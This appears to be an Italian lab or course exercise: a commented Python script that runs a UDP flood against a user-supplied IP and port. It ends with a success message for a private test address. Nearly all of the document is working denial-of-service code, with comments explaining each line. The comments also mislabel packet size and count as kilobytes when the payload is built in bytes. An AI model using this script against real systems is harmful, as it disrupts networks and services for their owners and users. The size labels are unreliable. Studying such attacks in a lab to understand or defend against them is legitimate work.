Programma per causare un UDP FLOOD

```
import socket #Queste istruzioni importano due moduli di Python: socket per la programmazione dei socket e
import random #random per generare numeri casuali



target_ip = input("Enter the target IP: ") #All'utente viene chiesto di inserire l'indirizzo IP di destinazione e il valore immesso viene memorizzato nella variabile target_ip
target_port = int(input("Enter the target UDP port: ")) #All'utente viene chiesto di inserire la porta UDP di destinazione e il valore immesso viene memorizzato nella variabile target_port (vengono accettati solo numeri interi con la funzione int)


packet_size = int(input("Enter the size of the packets in KB (default: 1 KB): ")) #All'utente viene chiesto di inserire la dimensione dei pacchetti in kilobyte
if packet_size <= 0: #Se il valore inserito è minore o uguale a 0
    packet_size = 1 #viene impostato il valore predefinito a 1 kilobyte


while True: #Viene generata casualmente una porta di origine compresa tra 1024 e 65535
    source_port = random.randint(1024, 65535) #Viene generata casualmente una porta di origine compresa tra 1024 e 65535
    sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) #Viene quindi creato un socket UDP (sock)
    try:
        sock.bind(('', source_port)) #e si tenta di associare il socket alla porta di origine generata, se ciò riesce,
        break #il ciclo si interrompe
    except socket.error: #in caso di errore (porta già in uso), viene generata una nuova porta e si ripete il processo
        pass #Segnaposto che indica un blocco vuoto, senza alcuna istruzione. In altre parole, quando viene incontrato, non fa nulla e passa semplicemente all'istruzione successiva



packet_count = int(input("Enter the number of packets to send (in KB): ")) #All'utente viene chiesto di inserire il numero di pacchetti da inviare in kilobyte.
```

```
for i in range(packet_count): #Questo è un ciclo for che itera attraverso la sequenza di numeri generati da range(packet_count). Il numero di iterazioni è determinato dal valore immesso dall'utente in packet_count
    packet_data = b"A" * packet_size #Qui viene creato il dato del pacchetto. La variabile packet_data contiene una sequenza di byte costituita dalla lettera "A" ripetuta packet_size volte. Questo viene fatto moltiplicando la stringa di byte b"A" per packet_size. b"A" * packet_size è una notazione in Python che crea una sequenza di byte concatenando la lettera "A" ripetuta un numero specificato di volte (packet_size volte)
    sock.sendto(packet_data, (target_ip, target_port)) #Questa istruzione invia il pacchetto di dati (packet_data) al target specificato dall'utente tramite il socket UDP (sock). La funzione sendto prende due argomenti: i dati da inviare e una tupla contenente l'indirizzo IP e il numero di porta di destinazione
    print(f"Sent packet to {target_ip}:{target_port}") #Dopo l'invio del pacchetto, viene stampato un messaggio che indica che un pacchetto è stato inviato con successo al target IP e numero di porta specificati dall'utente


sock.close() #Il socket sock viene chiuso
```

Invio di pacchetti eseguito con successo all’indirizzo 192.168.1.119:23255